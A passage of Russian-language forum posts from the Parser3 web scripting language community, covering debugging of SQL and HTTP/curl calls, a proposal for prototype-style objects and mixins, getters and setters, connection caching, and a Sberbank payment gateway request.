"83655","Спасибо, за то что откликнулись. Проснулся, нашел решение. Всем добра =)"
"83656","У меня ошибка в SQL запросе, который собирается из частей.\
При запуске в лог файл попадает запись, но не вся, а обрезана.\
В итоге видно только часть запроса, а саму ошибку нет.\
\
Как можно увеличить размер записи лога ошибок, чтобы было видно всю запись: запрос + ошибка?"
"83657","Если вы сами вызываете ошибку, то добавить свой IP или 1 || в cgi/auto.p в метод @is_developer[], тогда вам будет видно полное сообщение об ошибке в браузере.\
\
Если же проблему вызывают действия пользователя, то добавить в @unhandled_exception в \
том же cgi/auto.p код, который сохранит полную информацию об ошибке в свой лог-файл, например так:\
\
[code]$msg[$exception.type / $exception.source / $exception.comment \
]\
^msg.save[append;/my_error_log.log][/code]"
"83658","Причина - нет своего уникального киворда, по которому можно более релевантно искать инфу где-то за пределами этого сайта (да и по этому сайту тоже).\
\
Одна из причин \"недопопулярности\" языка - невозможность релеватно нагуглить инфу за пределами этого сайта. Семантическое смешение слова Parser/Парсер с тем, что сейчас под этим подразумевает вся индустрия.\
\
Очевидно, что название проекта было выбрано слишком давно, но не совсем удачно, т.к. чуть более, чем полностью смешивается с семантикой тем вокруг реального парсинга. При том, что сам Парсер, как раз инструментом для парсинга (то, что сейчас реально под этим понимается в индустрии) - как раз не предназначен.\
\
Назвать шаблонизатор - парсером (которым является лексический анализатор интепретатора Парсер) - можно лишь с условно, но это ничего не дает тому, кто будет искать инфу в инете.\
\
P.S.: Ребрендинг - нормальная история для всех проектов. Меняться - это хорошо.\
А лучше и вообще слово Parser выкинуть из него.... \
\
Мое предложение PocketRocketLang :)  И позиционирование более честное, и место в индустрии, и буква P для всех проектов типа PF - на месте. И \"птичка\" (стрелочка вверх) - уместна.\
\
Pocket^Rocket Lang"
"83659","Все остальное не имеет никакого смысла. От слова «совсем»."
"83660","Доброго дня. В пятницу вечером слил парсер из cvs (при обращениии к cgi отдаёт: Parser/3.4.5b (compiled on x86_64-unknown-freebsd10.2)).\
Всё собралось, тесты _test.p3 проходит, всё хорошо.\
OS: FreeBSD 10.2-STABLE\
\
При попытке:\
[code]\
$answer[^file::load[text;http://www.parser.ru/]]\
[/code]\
либо через curl: \
\
[code]$answer[^curl:load[\
	$.url[http://www.parser.ru/]\
	$.mode[text]\
	$.useragent[parser3]\
	$.timeout(60)\
	$.failonerror(0)\
	$.cookiesession(1)\
]]\
[/code]\
\
Получаем \"An error occurred while reading CGI reply (no response received)\"\
\
Пробовал связку nginx+fcgiwrap, но и через апач тоже самое. Старый парсер Parser/3.4.3 (compiled on x86_64-unknown-freebsd10.2) работает.\
\
В чём может быть причина, кто подскажет?"
"83661","А именно в этом: http://www.parser.ru/forum/?id=78569 - кажется по умолчанию curl \"неправильно\" собирается. Правда в таком случае сомнительно, что Parser/3.4.3 может работать."
"83662","Да, это в первую очередь думал, я эту проблему тут давно уже озвучивал и как раз подсказали насчёт опции курла, но курл как раз так и собран. Т.е. я на этом же сервере собираю парсер и старый парсер работает, новый нет, курл один и тот же. \
\
p.s. а file:load тоже через курл работает? Что-то не задумывался об этом )"
"83663","[quote]p.s. а file:load тоже через курл работает? Что-то не задумывался об этом )[/quote]\
\
Нет, там своя реализация через сокеты. Но она понятно не поддерживает https."
"83664","В общем нужно больше информации, в идеале stack trace где оно висит. Попробую повторить на днях."
"83665","так если своя, причём тут курл, дохнет то и file:load и курл..."
"83666","а не пробовал, была старая версия, решил собрать свежее, а то много плюшек новых не работает, а тут облом. Попробовать релиз слить?"
"83667","Посмотрели, с 3.4.4 проблемы бы действительно не было.\
\
Впрочем указанную несовместимость 3.4.5b с clang (дело оказалось именно в этом) тоже поправили:\
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/main/pa_http.C?r1=1.74&r2=1.75 :)"
"83668","Все чаще стало встречаться использование sha-256\
Например, Amazon (AWS) Glacier для загрузки бэкапов опирается на sha-256\
или вот для проверки ресурсов в атрибутах встречается например такое\
\
<script src=\"https://code.jquery.com/jquery-1.12.4.min.js\" integrity=\"sha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=\" crossorigin=\"anonymous\"></script>"
"83669","^math:crypt[some string;^$5^$]"
"83670","http://www.parser.ru/docs/lang/?mathdigest.htm"
"83672","Ошибку не выдает, но ничего не выводится на страницу. Просто пропуск на месте, где должно быть число."
"83673","... То результат лежит в переменной total. Выведите его на страницу где и как удобно."
"83676","Поступило предложение сделать объекты в парсере не как сейчас, экземплярами класса, а чтобы они имели прототипом класс, по аналогии с [url=\"https://learn.javascript.ru/prototype\"]Java Script[/url]. При чтении отличий нет, а вот запись будет всегда происходить в поле объекта. Сейчас, если такое поле есть в классе, при записи в поле объекта изменится его значение в классе. Обратная совместимость здесь понятно не 100%, но по факту изменение свойств класса из объекта - редкий и не самый логичный случай (во всяком случае у нас на первый взгляд несовместимостей не вылезло). Зато можно будет так:\
\
[code]\
@main[]\
\
# обычный объект\
$o[^test::create[]]\
$o.default\
^o.method[]\
\
# можно сделать объект, у которого значения свойства отличается от значения в классе\
$o[^test::create[some]]\
$o.default\
\
# можно сделать объект, у которого метод отличается от обычной реализации\
$o[^test::create[special]]\
^o.method[]\
\
# как и раньше, статическое поле класса можно переопределить\
$test:default\
$test:default[all but one]\
\
# и оно изменится у использующих его объектов\
$o.default\
\
@CLASS\
test\
\
@auto[]\
$default[all]\
\
@create[d]\
^if($d eq 'special'){\
    $method[$special]\
}(def $d){\
    $default[$d]\
}\
\
@method[]\
common\
\
@special[]\
special\
[/code]\
\
Какие будут мнения? :)\
\
P.S. Чтобы протестировать такое поведение, достаточно в pa_vclass.C закомментировать строки 157 и 158."
"83680","А можно простой пример пользы?\
Приведённый код понимания не даёт."
"83681","Добрый вечер! Парни хелпи ми плиз) вижу первый раз парсер(мучаюсь неделю две)\
все вроде добился чтобы заработал но не запускается auto.p в корне домена. постоянно какие то ошибки вот начинается с этой ('connect_string' $.name outside of $name[...] [parser.runtime])\
\
могу дать ссылку на сайт если что чтобы увидеть своими глазами)\
и кусок на что я думаю он ругается ($connect_string[mysql://мой.юзер.мускла:пароль.мускла@localhost:3306/имя.базы?charset=cp-1251])\
\
плиз хелпми.\
\
сайт написали давно и уже давно он простаивал залил его на другой хостинг так как прошлый уже не поддерживается\
\
версия парсера 3.4.4 а для какого писался сайт не знаю.\
может что поменялось?"
"83682","в догонку техподдержка сказали что у меня ОС CloudLinux 7.2 я поставил парсер от CentOS6. Может у кого есть 7.2 а то ssh нету(( так бы собрал сам"
"83683","[quote]'connect_string' $.name outside of $name[...] [parser.runtime\
…\
и кусок на что я думаю он ругается[/quote]\
\
Зачем гадать, в сообщении об ошибке должно быть указано место её возникновения.\
\
Приведённая ошибка относится не к самому заданию $connect_string, а, вероятнее всего, вызвана тем, что где-то в коде написано:\
[code]$.connect_string[/code]\
вместо\
[code]$connect_string[/code]"
"83684","[quote]Наверняка несовместимость вылезет в самых неожиданных местах[/quote]\
\
Я тоже сначала так сказал. :) В реальности же на нескольких разных проектах ничего вроде как не сломалось. Ну и конечно будет $OBJECT-PROTOTYPE(false) в @conf, если кому нужно старое поведение.\
\
[quote]А можно простой пример пользы?[/quote]\
\
На мой взгляд в значительной степени снимется вопрос множественного наследования, поскольку в конструкторе появляется возможность \"надергать\" в объект любых методов из других классов.\
То есть наследование от A и B делается наследованием от A и копированием себе в конструкторе методов класса B, при этом не имея проблем в случае методов с одинаковым названием.\
\
Кстати реальных примеров когда удобно текущее поведение у меня не очень получилось придумать."
"83685","[quote]На мой взгляд в значительной степени снимется вопрос множественного наследования, поскольку в конструкторе появляется возможность \"надергать\" в объект любых методов из других классов.[/quote]\
\
А вот это «надёргать» как будет выглядеть?\
\
[code]$self.method[$B:method][/code]\
?\
И $self для этих методов B будет корректно указывать на получившийся объект (главная беда возможных ныне mixin'ов)?"
"83686","[quote]И $self для этих методов B будет корректно указывать на получившийся объект (главная беда возможных ныне mixin'ов)?[/quote]\
\
А эту задачу предлагаю решить через расширение ^reflection:method, добавлением в него опциональным параметром куда привязать junction.\
В общем тогда код ниже уже реально выводит m-b, D D.\
\
[code]@main[]\
\
$d[^D::create[]]\
^d.usage[]\
\
#########################3\
@CLASS\
A\
\
@m[]\
m-a\
\
#########################3\
@CLASS\
B\
\
@BASE\
A\
\
@m[]\
m-b, $self.CLASS_NAME\
\
#########################3\
@CLASS\
C\
\
@BASE\
A\
\
@usage[]\
^m[] $self.CLASS_NAME\
\
#########################3\
@CLASS\
D\
\
@BASE\
C\
\
@create[]\
$m[^reflection:method[$B:CLASS;m;$self]]\
[/code]"
"83687","[quote]Чтобы протестировать такое поведение, достаточно в pa_vclass.C закомментировать строки 157 и 158.[/quote]\
\
Закомментировал строки, собрал под OS X, проверил на одном проекте, прогнал все тесты — ошибок нет.\
Однако."
"83688","[quote]А эту задачу предлагаю решить через расширение ^reflection:method, добавлением в него опциональным параметром куда привязать junction.[/quote]\
\
А разве сейчас, в случае такой доработки reflection:method, не получится то же самое?\
Метод будет привязан к указанному классу и корректно вызовется."
"83689","^reflection:inject[$B:CLASS;$object] — копирует поля и методы из класса B в object, меняя self у методов. Можно еще опцию прикрутить, которая одноименные методы и поля не копирует, а вставляет их с префиксом класса, чтобы можно было из метода A.method позвать ^B_method[].\
\
Получим прототипное наследование. :)"
"83692","Сейчас реально использую костыль для реализации прототипного поведения, через оператор, который так и называется ^prototype[]\
\
Который клонирует класс, скрывая реализацию через создания класса с префиксом.\
\
А вообще, я бы проголосовал лучше за создание нового класса (без process), потому что  прототипными объектами - являются синглтоны статических классов. И не надо ниче даже добавлять. Они всегда тут жили.\
\
[code]\
$my_classobject:method_A[1]\
$my2_classobject:method_B[1]\
\
собственно, нужно более 1 объекта одинакового класса - динамически\
нужны уникальные объекты-с-методами - статически\
\
[/code]"
"83693","В практике:\
\
Потребность в прототипном поведении внезапно и остро появлятся в плоскости шаблонизации/интерфейсного движка - если вы пойдете путём компонент! (неудивительно что и js живущий как раз в области UI, именно поэтому имеет такую ООП-парадигму).\
\
Для реализации пришлось писать свой костыль-оператор prototype, который клонирует от прототипа одноименный класс, добавляя постфикс, и скрывая за обёрткой реализацию.\
(кстати не делает ли то же самое PF:Templet? это ж ведь тоже workaround из-за отстуствия нативного прототипного поведения).\
\
В общем, в процессе создания именно компонентного serverside responsive-движка (набирающий с 2006 года подход, известный как RESS) появляются потребности в такой модели. Плюс одноименные компоненты разложены на коллекции (это могут быть и темы и mobile/desktop и legacy/html5ready) и в процессе инициализации объекта Render'a класс подгружает последвательно каскад коллекций и объект собирается из разных версий одноименных классов.\
\
И понятно, что в не_прототипном варианте - подгруженная версия одноименного класса \"портит\" все методы у всех других объектов, и приходится воротить обёртки с порождением нового класса.\
Другое дело - что это вообще-то не сложно, и с другой стороны не добавляет кажется доп.накладных расходов. По крайней мере в пространстве классов - так даже легче отследить в reflection все версии, чем понимать сколько версий этого класса живет теперь.\
\
Технический аспект:\
 По большому счету, и технически де-факто - объектом на основе прототипа - уже является синглтон - статический класс-объект. Нужно породить новый объект на основе прототипа? ^process-им новый статический класс от базового плюс любые свои методы. Имя нового класса - будет уникально, т.к. он уникальный объект-синглтон.\
\
\
Просто не надо бояться странного (синглтон он и есть прототипный объект):\
[code]\
$uniq_classobject:some_field[]\
^uniq_classobject:some_method[]\
[/code]\
\
\
Другое дело, что породить это красиво без ^process-а пока нельзя"
"83694","Судя по харакетру ошибок - парсер у вас как раз завёлся. Не завёлся код на нем."
"83695","а если надо stored procedure дернуть?\
также пробовал\
[code]\
$lSQL[\
   SET @aA = 'TEST';\
   SET oA = '';\
\
   CALL spA(@aA,@oA);\
\
   SELECT @oA]\
\
$lString[^string:sql{$lSQL}]\
[/code]\
\
со всеми возможньіми єкранированиями. тоже чтото не получилось"
"83696","[code]^void:sql{SET @aA = 'TEST'}\
^void:sql{SET oA = ''}\
^void:sql{CALL spA(@aA,@oA)}\
$lString[^string:sql{SELECT @oA}]\
[/code]\
\
Можно еще мультистатмент включить в строке подключения, но лучше так не делать."
"83698","А с get_bank_data, Вы разобрались, напишите пожалуйста, а то у меня ошибку выдаёт, Invalid Parameters"
"83699","Да, что-то я не совсем удачный пример привел. Для методов у нас уже работает прототипная схема, поскольку в объекте создается junction свойство, перекрывающее метод класса. Но получается тем более логично сделать такое же поведение для свойств. :)"
"83700","Мне кажется чем делать специализированные методы с опциями достаточно сделать общий метод, а дальше уж пусть кто какое наследование хочет, пусть такое и делает. :)\
\
Для удобства думаю стоит разрешить и такой вызов, ^reflection:method[$class:method;$self],\
и даже такой ^reflection:method[$class:method] (то есть чтобы $self был значением по умолчанию, когда первый параметр junction)."
"83701","Свойства через модмешанные методы не работают, в том числе после «прототипной» доработки.\
\
[code]@main[]\
$object[^class::create[]]\
\
$object.field, $object.field2\
<hr/>\
$class:field, $class:field2\
<hr/>\
^object.method[], ^class:method[]\
<hr/>\
$object.property, $class:property\
\
\
@CLASS\
class\
\
@auto[]\
$field[class field]\
$field2[class field]\
\
@create[]\
$self.field[object field]\
\
$self.method[$mixin:method]\
$self.GET_property[$mixin:GET_property]\
\
@method[]\
class method\
\
@GET_property[]\
class property\
\
\
@CLASS\
mixin\
\
@method[]\
mixin method\
\
@GET_property[]\
mixin property[/code]\
\
Получаем:\
[code]object field, class field\
object field, class field\
mixin method, class method\
class property, class property[/code]\
\
В «прототипном» случае получаем:\
[code]object field, class field\
[b]class field[/b], class field\
mixin method, class method\
class property, class property[/code]\
\
Но геттеры не перекрываются.\
\
Ожидается:\
[code]object field, class field\
[b]class field[/b], class field\
mixin method, class method\
[b]object property[/b], class property[/code]"
"83702","[code]$_file[^file::load[text;$urlApiNal;\
				$.headers[\
					$.timeout(5)\
					$.method[POST] \
					$.Content-Type[text/xml]\
				]\
				$.method[POST]\
				$.body[<?xml version=\"1.0\" encoding=\"UTF-8\"?><methodCall><methodName>get_bank_data</methodName><params><param><value><string>guest</string></value></param><param><value><string>$self.city</string></value></param><param><value><array><data><value>USD</value><value>EUR</value><value>RUB</value></data></array></value></param></params></methodCall>]\
			]][/code]\
Когда-то такое работало, года два назад, а потом убрали Крым из списка."
"83703","Спасибо, но к сожалению у меня подобная конструкция не работает, пишет Invalid Parameters, вот мой код:\
\
                String params = new String(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\" +\
                                            \"<methodCall>\\n\" +\
                                            \"   <methodName>get_bank_data</methodName>\\n\" +\
                                            \"   <params>\\n\" +\
                                            \"     <param>\\n\" +\
                                            \"         <value><string>guest</string></value>\\n\" +\
                                            \"     </param>\\n\" +\
                                            \"     <param>\\n\" +\
                                            \"         <value><string>dnepropetrovsk</string></value> \\n\" +\
                                            \"     </param>\\n\" +\
                                            \"     <param>\\n\" +\
                                            \"           <value>\\n\" +\
                                            \"               <array>\\n\" +\
                                            \"                   <data>\\n\" +\
                                            \"                   <value>USD</value><value>EUR</value><value>RUB</value>\\n\" +\
                                            \"                   </data>\\n\" +\
                                            \"               </array>\\n\" +\
                                            \"           </value>\\n\" +\
                                            \"       </param>\\n\" +\
                                            \"   </params>\\n\" +\
                                            \" </methodCall>\");\
\
без валют выдаёт ту же ошибку, может что подскажите?"
"83704","А dnepropetrovsk в списке то и нету, сделайте сначала запрос метода get_cities"
"83705",")))), вчера вроде был)"
"83706","Спасибо, действительно \"dnepr\", странно, где я dnepropetrovsk взял. А они в разбивке по банкам не отдают, так не интересно))."
"83707","А это скорее всего уже за деньги ;)"
"83708","К сожалению, скорее всего, да. Спасибо за помощь!"
"83709","Ну так для геттеров/сеттеров ничего и не меняется. Кроме того, такой код:\
\
[code]$self.GET_property[$mixin:GET_property][/code]\
\
Никак не является аналогом декларации @GET_property[].\
\
В части геттеров требуемое поведение проще реализуется вообще без геттеров,\
$self.property[$mixin:GET_property]\
\
Если же геттер уже есть, то перекрыть его можно, но уже менее красиво:\
$o[^reflection:fields_reference[$self]]\
$o.property[$mixin:GET_property]\
\
Но для сеттеров понятно так не получится. Ну и в целом поменять текущее поведение тут проблематично - геттеры и сеттеры хранятся в классе, перенос их объекты потребует значительных накладных расходов."
"83710","[quote]В части геттеров требуемое поведение проще реализуется вообще без геттеров,\
$self.property[$mixin:GET_property][/quote]\
\
[code]@main[]\
$test[^test::create[]]\
[$test.prop]\
\
\
@CLASS\
props\
\
@GET_prop[]\
props!\
\
\
@CLASS\
test\
\
@auto[]\
$self.prop[$props:GET_prop]\
\
@create[]\
[/code]\
\
Получим не геттер свойства, а поле, в котором лежит junction:\
[code]method_frame may not be overwritten with junction, store it to variable instead[/code].\
\
То же и при использовании $self.prop[^reflection:method[$props:CLASS;GET_prop]]."
"83711","Задача: включить в класс набор свойств из файла (посредством process) и иметь возможность в классах наследниках перекрыть включённые свойства.\
Включать напрямую в класс нельзя, это перекроет имеющиеся свойства, а нужно обратное.\
Потому приходится использовать наследование.\
\
Берём код:\
[code]@main[]\
$class[^class::create[]]\
\
$class.property1<br/>\
$class.property2\
\
\
@CLASS\
base\
\
@auto[]\
^process[$self.CLASS]{@GET_property1[]\
	included base property1\
}\
^process[$self.CLASS]{@GET_property2[]\
	included base property2\
}\
\
\
@CLASS\
class\
\
@BASE\
base\
\
@create[]\
[/code]\
\
Получаем ожидаемое:\
[code]included base property1\
included base property2[/code]\
\
Пытаемся переопределить одно из свойств:\
[code]@main[]\
$class[^class::create[]]\
\
$class.property1<br/>\
$class.property2\
\
\
@CLASS\
base\
\
@auto[]\
^process[$self.CLASS]{@GET_property1[]\
	included base property1\
}\
^process[$self.CLASS]{@GET_property2[]\
	included base property2\
}\
\
\
@CLASS\
class\
\
@BASE\
base\
\
#@auto[]\
\
@create[]\
\
@GET_property1[]\
defined class property1[/code]\
\
Неожиданно получаем то же:\
[code]included base property1\
included base property2[/code]\
\
Стоит раскомментировать @auto дочернего класса — получаем ожидаемое:\
[code][b]defined class property1[/b]\
included base property2[/code]\
\
Выходит, выполняются оба @auto[], что противоречит документации.\
\
Логируем вызовы:\
[code]@main[]\
$class[^class::create[]]\
\
$class.property1<br/>\
$class.property2\
\
\
@CLASS\
base\
\
@auto[]\
^process[$self.CLASS]{@GET_property1[]\
	included base property1\
}\
^process[$self.CLASS]{@GET_property2[]\
	included base property2\
}\
\
$log[^reflection:uid[$self] base auto^#0A]\
^log.save[append;/log.txt]\
\
\
@CLASS\
class\
\
@BASE\
base\
\
@auto[]\
$log[^reflection:uid[$self] class auto^#0A]\
^log.save[append;/log.txt]\
\
@create[]\
\
@GET_property1[]\
defined class property1[/code]\
\
Видим в логе:\
[code]0x10e18f0b0 base auto\
0x10e18f000 class auto[/code]\
\
При этом, даже если закомментировать @auto[] дочернего класса и посмотреть в лог получим:\
[code]0x103dc20b0 base auto\
0x103dc2000 base auto[/code]\
\
Судя по всему, повторное выполнение происходит из-за process.\
А указание @auto[] в наследнике позволяет перекрыть свойство базового класса.\
\
Хотелось бы понять что происходит и как получить желаемое без указания @auto[] в классе-наследнике."
"83712","Шаблонный движок собирает обычный парсеровский класс из файлов с функциями, создает объект и запускает на выполнение функцию main. Наследование шаблонов реализуется тоже через встроенное ООП без каких-либо выкрутасов с «прототипами».\
\
То, что шаблонизатор сам назначает имена (уникальные идентификаторы) этим классам ситуацию не меняет. Шаблоны в PF это обычный парсеровские функции, которые собираются в стандартные классы.\
\
p.s. У меня к Вам одна личная просьба. Когда пишете свои соображения, то не надо приводить примеры из PF'а, которые, «кажется», подтверждают Ваши умозаключения."
"83713","В итоговом коде понятно что потребуется враппер в базовом классе, в случае свойств без этого никак. Зато и сеттеры можно по такой же схеме делать. С HEAD этот код уже работает, выдает [props! 5 test].\
\
[code]@main[]\
$test[^test::create[]]\
\
$test.prop[5]\
[$test.prop]\
\
\
@CLASS\
props\
\
@GET_prop[]\
props! $v $self.CLASS_NAME\
\
@SET_prop[value]\
$v[$value]\
\
\
@CLASS\
test\
\
@auto[]\
$self.prop-j[^reflection:method[$props:GET_prop]]\
$self.prop-sj[^reflection:method[$props:SET_prop]]\
\
@create[]\
\
@GET_prop[]\
^prop-j[]\
\
@SET_prop[value]\
^prop-sj[$value]\
[/code]"
"83714","Вижу обновление в HEAD.\
Собрал под OS X, проверил, теперь работает корректно.\
\
Спасибо."
"83715","Да, я просто обычно на следующий день после коммита отписываюсь, когда ночные сборки обновятся. :)"
"83716","Жаль, что ночные сборки под Windows не обновляются."
"83717","Я кажется и не делал четких утвреждений, а написал это как предположение\
[quote]кстати не делает ли то же самое PF:Templet?[/quote]\
\
Основанное на том, что \"простометоды\" - вы де факто собираете (оборочаиваете) в класс. И с \"какой-то\" целью добавяете префиксы/постфиксы к \"псевдо-одноименному\" имени класса? (Если это так)\
\
Что основание думать, что это похожий случай, когда одноименный пере-собраный класс в рамках разных объектах сломает подгруженные методы в уже существующих объектах. Т.е. то что в прототипном поведении работало бы из коробки, в обычном - вынуждает создавать псевдо-одноименные классы, добавляя постфиксы/префиксы.\
\
Ваше личное пожелание - принято."
"83718","Для каждого шаблона делается класс с уникальным именем (math:uid64). Из текста шаблона выкусываются директивы #@import и #@base. \
\
Файлы из директивы import компилируются процессом в текущий класс. После этого в текущий класс компилируются методы шаблона. Одноименные методы затираются. Это аналог partial.\
\
Файлы из директивы base компилируются в отдельный класс с уникальным именем (math:uid64). Этот класс становится предком класса для шаблона. В данном случае одноименные методы не затираются, а лежат в предке и наследнике. Т.е. срабатывает обычное наследование.\
\
Директивы import и base работают рекурсивно, т.е .создается необходимое количество классов-предков для base и импортируются все методы из всех файлов, указанных в import.\
\
В классы заворачиваем исключительно для выделения шаблонам отдельного пространства имен и данных. Из «собранного класса» делаем объект, который и зовем из контролера.\
\
Вот и вся история. Никаких «прототипов» и синглтонов для шаблонов в принципе не нужно, все решается тривиальными средствами ООП. Один и тот же файлик с методами можно совершенно безопасно включать в другие шаблоны, деалать предком и т.п. Фактически для шаблонов получается свое упрощенное ООП с наследованием, только без указания директив CLASS и BASE.\
\
Код шаблонизатора в pf — 400 строк примитивного кода (в pf2 еще меньше — 300). Ну посмотрите наконец на реализацию и не делайте предположений про префиксы, постфиксы и то, что я ну просто обязан использовать прототипы. :)"
"83719","Каюсь, когда реализовывал свой шаблонизатор и перед этим обсуждал именно такой момент/поведение - помнится поймал ваш коммент, про не мешайте \"человеку изобретать Templet из pf (ну вот опять упомянул в суе :)\" - контекст был как раз про оборачивание/генерацию класса\
\
Приняв это и ну ооооочень мельком глянув... я почему-то уверовал, что примерно (и очень похоже) всё происходит.\
\
Ну не могу я венгерскую нотацию читать, когда имя начинается с одной строчной буквы, и особенно с \"o\" и \"a\", клянусь, как только встречаю наборы $oA.. $aO.. - всё, начинается приобретённая \"дислексия\" на этих участках кода.\
\
При этом конкретно ваш код, в принципе, предельно аккуратно и прилежно оформлен, да и стиль вроде тоже - лучший компромисс между ёмкостью и читабельностью.\
\
Надо попробовать хоть раз не просто пытаться посмотреть через web-интерфейс bitbucket, а хоть раз склонировать реп и посмотреть в привычно настроенном редакторе с подсветкой и всеми делами. Вполне вероятно, что еще и в этом \"проблема\".\
\
Поэтому бегло, показалось что реализация такая, но вы правильно заметили, ключевое слово - показалось."
"83720","В pf'е никогда не было и не будет «венгерской нотации». Я категорически против префиксов для типов или смысла переменных. В pf префиксы используются для разделения пространств имен, потому что в Парсере очень либеральные правила видимости. Префиксов четыре: pf – класс библиотеки, _ – private-переменная, a - аргумент функции, l - локальная переменная. Это сильно помогает при отладке.\
\
p.s. Ветку закрываю, потому что домыслы обсуждать публично бессмысленно. Не хотелось бы путать коллег, которые будут это все читать. :)"
"83721","[code]@main[]\
$string[test]\
[$string ][/code]\
\
Получим:\
[code][ ][/code]\
\
Не должен ли неразрывный пробел быть whitespace-символом, наравне с обычным пробелом и табуляцией и не считаться частью имени переменной?"
"83723","Может и должен, но поменять весьма проблематично по многим причинам. Код зависит от кодировки, в Windows-1251 0xA0, В x-mac-cyrillic 0xCA, в UTF-8 это два байта - 0xC2 0xA0. Но основная сложность - именно двухбайтовость, метод yylex под 800 строк и 20Кб кода, ' ' встречается в нем 7 раз. Вероятно надо делать look-ahead и как-то пропускать лишний байт. Опять же время компиляции замедлится, а делать копии метода размером 20Кб тоже никакого желания нет. В to-do занес, но едва ли это будет сделано в обозримом будущем. :)\
\
case '\\n': case ' ': case '\\t':\
case '\\n': case ' ': case '\\t':\
case ' ': case '\\t': case '\\n': case '\"': case '\\'': case '^': case '$':\
case ' ': case '\\t': case '\\n':\
case ' ': case '\\t': case '\\n':\
case ' ': // ^if ( wrong. bailing out\
case '\\n': case ' ': case '\\t':"
"83724","Ясно.\
\
Я, почему-то, считал, что код анализируется посимвольно с учётом кодировки, а не побайтово."
"83725","Ну, побайтово куда быстрее. Когда UTF-8 позволяет так с ним работать (все символы <0x80 однобайтовые, в побайтовых все байты >0x80), то грех этим не пользоваться."
"83726","После долгой-долгой (больше из-за перебивания основным направлением моей работы) разработки доделал сайт моей компании: [url=\"https://province35.com\"]province35.com[/url].\
\
Работы еще очень много, постепенно буду улучшать, но большая часть задуманного уже есть. Принципиально не использовал для интернет-магазина движки, все делал сам (можно даже сказать, что ради ачивки). Прошу не бросаться камнями за оффтоп, но душа какого-никакого программиста требует, дабы отстраниться от роли торгаша-логиста-начальника.\
\
Буду рад советам и критике :) Спасибо всем тем, кто создавал и развивает Парсер)"
"83727","Потому что не адаптирован для мобильных устройств. К вашему сведению, сейчас около 65% аудитории в рунете — мобильные пользователи. И сайт надо в первую очередь делать для мобильных устройств, и уже потом при необходимости адаптировать для больших экранов."
"83728","вёрстка правится, в остальном сделано чистенько\
\
местами непонятно почему нет цен, например когда в бренд уходишь"
"83729","дано:\
\
auto.p\
[code]\
@dbA[code]\
 ^connect[mySQLserverA]{$code}\
\
@dbB[code]\
 ^connect[mySQLserverB]{$code}\
[/code]\
\
ajax.p\
[code]\
@StaffList[]\
 ^dbA{ $tStaff[^table::sql{SELECT ...}] }\
\
\
@ItemsList[]\
 ^dbB{ $tItems[^table::sql{SELECT ... }]}\
[/code]\
\
вопрос: будет ли соблюдено \"кеширует соединения с SQL-серверами, и повторный SQL запрос на соединение с той же строкой подключения не производится, а соединение берется из кеша, если оно еще действительно\" для оба-два соединения при вьізовах ^dbA и ^dbB одновременно и вразнобой?"
"83732","Да-да, это знаем, это поправим совсем скоро)"
"83733","Спасибо) Поправлю сейчас)"
"83734","[code]@main[]\
$s[^one[]]\
$s[^two[]]\
$s[^one[]]\
$s[^two[]]\
\
@a[code]\
^connect[mysql://root:@localhost/one?charset=utf8]{$code}\
\
@b[code]\
^connect[mysql://root:@localhost/two?charset=utf8]{$code}\
\
@one[]\
^a{\
	$tStaff[^table::sql{SELECT * FROM table LIMIT 1}]\
}\
\
@two[]\
^b{\
	$tItems[^table::sql{SELECT * FROM table LIMIT 1}]\
}[/code]\
\
[code]272 Connect	root@localhost on one\
272 Query	SET CHARACTER SET utf8\
272 Query	SELECT * FROM table LIMIT 1\
273 Connect	root@localhost on two\
273 Query	SET CHARACTER SET utf8\
273 Query	SELECT * FROM table LIMIT 1\
272 Query	SELECT * FROM table LIMIT 1\
273 Query	SELECT * FROM table LIMIT 1\
273 Quit\
272 Quit[/code]\
\
Соединение кэшируется в рамках процесса.\
Разумеется, если это AJAX-вызовы и процессы будут разные, то и подключения будут устанавливаться заново.\
\
Parser 3.4.5b CGI, Win 7."
"83736","http://dev.mysql.com/doc/refman/5.7/en/query-log.html"
"83737","А, понятно. Я думал мож парсер где то умеет это логировать. У меня на серверах лог-запросов выключен, только ошибки"
"83739","http://www.parser.ru/forum/?id=82393"
"83740","В Unix куда проще все скриптуется. Впрочем, часть задачи для Windows уже автоматизирована, поэтому в ночных сборках Windows версию парсера обновил."
"83741","Благодаря тому, что разобрались к компиляцией теперь можно обновляться чаще.\
\
Если ещё и автоматические win-сборки появятся — совсем хорошо.\
Спасибо!"
"83742","Всем добрый день,\
\
Занимаюсь подключением платежного шлюза Сбербанка.\
\
Начал с:\
[code]\
$Pbody[userName=user&password=pwd&orderNumber=6&amount=100]\
    $file[^file::load[binary;https://3dsec.sberbank.ru/payment/rest/register.do][\
      $.method[POST]\
      $.headers[\
        $.Content-type[application/x-www-form-urlencoded]\
        $.Content-length[^Pbody.length[]\
          $Pbody\
        ]\
      ]\
]]\
[/code]\
\
Такая конструкция выдает ошибку: called with invalid option.\
\
Я подумал, что этот метод работает только с http\
\
Попробовал:\
\
[code]\
$file[^curl:load[\
       $.url[https://3dsec.sberbank.ru/payment/rest/register.dol]\
       $.post(1)\
       $.postfields[userName=user&password=pwd&orderNumber=6&amount=100]\
       $.timeout(10)\
       $.ssl_verifypeer(0)\
]]\
[/code]\
\
Такой метод выдает ошибку: SSL connect error.\
\
Куда двигаться, господа? Подскажите."
"83743","[quote]Такая конструкция выдает ошибку: called with invalid option.\
\
Я подумал, что этот метод работает только с http[/quote]\
\
Так и есть.\
\
[quote]Такой метод выдает ошибку: SSL connect error.[/quote]\
\
Код корректный.\
Проверьте передаваемые параметры.\
\
Попробуйте указать опцию\
[code]$.failonerror(false)[/code]\
и посмотреть на ответ:\
[code]@main[]\
$file[^curl:load[\
	$.url[https://ya.ru/]\
	$.post(1)\
	$.postfields[test=1]\
	$.timeout(10)\
	$.ssl_verifypeer(0)\
	$.failonerror(false)\
]]\
^json:string[$file][/code]"
"83744","К сожалению, не помогло.\
\
При запросе к Яндексу, ответ приходит."
"83745","Может глупость, но вы случайно в URL не ошиблись? А то они отличаются в двух случаях\
[quote]https://3dsec.sberbank.ru/payment/rest/register.[b]dol[/b][/quote]"
"83746","[quote]К сожалению, не помогло.[/quote]\
\
Результат-то какой, просто ошибка curl?"
"83750","Все работает:\
\
[code]\
* About to connect() to 3dsec.sberbank.ru port 443 (#0)\
*   Trying ... connected\
